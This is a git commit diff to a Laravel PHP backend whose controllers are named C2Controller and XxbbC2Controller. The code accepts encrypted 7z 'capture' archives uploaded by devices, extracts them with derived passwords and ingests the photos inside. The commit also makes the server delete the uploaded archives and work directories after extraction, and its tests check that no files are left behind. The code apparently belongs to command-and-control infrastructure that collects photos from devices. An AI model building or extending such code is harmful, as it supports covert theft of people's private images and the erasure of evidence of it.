feat: photo

This commit is contained in:
hashbro
2026-08-31 00:04:03 +08:00
parent f6fb00c52a
commit 9176af86dd
5 changed files with 81 additions and 57 deletions
+24 -25
View File
@@ -8,7 +8,6 @@ use App\Services\CorunaCrypto;
use App\Services\IngestService; use App\Services\IngestService;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Http\Response; use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
class C2Controller extends Controller class C2Controller extends Controller
{ {
@@ -136,34 +135,34 @@ class C2Controller extends Controller
'barcode_count' => $barcodeCount, 'barcode_count' => $barcodeCount,
]; ];
$attachmentRel = null;
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath()); $bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase); try {
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); $extracted = $this->archive->extract($bytes, $work, $batchBase);
Storage::disk('local')->makeDirectory($attachmentRel); if (! empty($extracted['files'])) {
if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); }
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
} finally {
CorunaArchive::forgetWorkDir($work);
} }
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
} }
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes // Prefer encrypted ack (clients that expect JSON); fall back same as other routes
+24 -25
View File
@@ -8,7 +8,6 @@ use App\Services\CorunaArchive;
use App\Services\IngestService; use App\Services\IngestService;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Http\Response; use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
/** /**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`. * xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
@@ -107,34 +106,34 @@ class XxbbC2Controller extends Controller
'barcode_count' => $barcodeCount, 'barcode_count' => $barcodeCount,
]; ];
$attachmentRel = null;
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) { if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath()); $bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid()); $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase); try {
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work); $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
Storage::disk('local')->makeDirectory($attachmentRel); if (! empty($extracted['files'])) {
if (! empty($extracted['files'])) { $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta); }
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
} finally {
CorunaArchive::forgetWorkDir($work);
} }
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
} }
return $this->xxbbAck($request); return $this->xxbbAck($request);
+23 -7
View File
@@ -2,6 +2,7 @@
namespace App\Services; namespace App\Services;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Process; use Illuminate\Support\Facades\Process;
use RuntimeException; use RuntimeException;
@@ -80,18 +81,21 @@ class CorunaArchive
$archive = $destDir.'/capture.7z'; $archive = $destDir.'/capture.7z';
file_put_contents($archive, $repaired); file_put_contents($archive, $repaired);
file_put_contents($destDir.'/wire.bin', $wireData);
$password = $this->crypto->archivePassword($batchBase); $password = $this->crypto->archivePassword($batchBase);
$membersDir = $destDir.'/members'; $membersDir = $destDir.'/members';
@mkdir($membersDir, 0755, true); @mkdir($membersDir, 0755, true);
$bin = $this->resolveSevenZipBinary(); $bin = $this->resolveSevenZipBinary();
$result = Process::timeout(120)->run([ try {
$bin, 'x', '-y', $result = Process::timeout(120)->run([
'-p'.$password, $bin, 'x', '-y',
'-o'.$membersDir, '-p'.$password,
$archive, '-o'.$membersDir,
]); $archive,
]);
} finally {
@unlink($archive);
}
$files = []; $files = [];
if (is_dir($membersDir)) { if (is_dir($membersDir)) {
@@ -114,6 +118,18 @@ class CorunaArchive
]; ];
} }
public static function forgetWorkDir(string $dir): void
{
if ($dir === '' || ! is_dir($dir)) {
return;
}
File::deleteDirectory($dir);
$parent = dirname($dir);
if (is_dir($parent) && File::isEmptyDirectory($parent)) {
@rmdir($parent);
}
}
/** /**
* Resolve 7z path without probing outside open_basedir. * Resolve 7z path without probing outside open_basedir.
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir. * is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
+5
View File
@@ -625,6 +625,8 @@ class C2ApiTest extends TestCase
'device_id' => 'dev-photo-1', 'device_id' => 'dev-photo-1',
'album_storage' => true, 'album_storage' => true,
]); ]);
$checkDir = storage_path('app/c2/check/dev-photo-1');
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$resp = $this->call( $resp = $this->call(
'POST', 'POST',
@@ -655,6 +657,9 @@ class C2ApiTest extends TestCase
$this->assertSame(1, $photo->text_count); $this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count); $this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path); Storage::disk('local')->assertExists($photo->path);
$this->assertStringStartsWith('c2/photos/', $photo->path);
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$this->assertSame($checkBefore, $checkAfter);
@unlink($jpegPath); @unlink($jpegPath);
@unlink($archivePath); @unlink($archivePath);
+5
View File
@@ -287,6 +287,8 @@ class XxbbC2ApiTest extends TestCase
'device_id' => '000C30D83CD0402E', 'device_id' => '000C30D83CD0402E',
'album_storage' => true, 'album_storage' => true,
]); ]);
$checkDir = storage_path('app/c2/check/000C30D83CD0402E');
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true); $upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
$this->call( $this->call(
'POST', 'POST',
@@ -316,6 +318,9 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame(1, $photo->text_count); $this->assertSame(1, $photo->text_count);
$this->assertSame(0, $photo->barcode_count); $this->assertSame(0, $photo->barcode_count);
Storage::disk('local')->assertExists($photo->path); Storage::disk('local')->assertExists($photo->path);
$this->assertStringStartsWith('c2/photos/', $photo->path);
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
$this->assertSame($checkBefore, $checkAfter);
@unlink($jpegPath); @unlink($jpegPath);
@unlink($archivePath); @unlink($archivePath);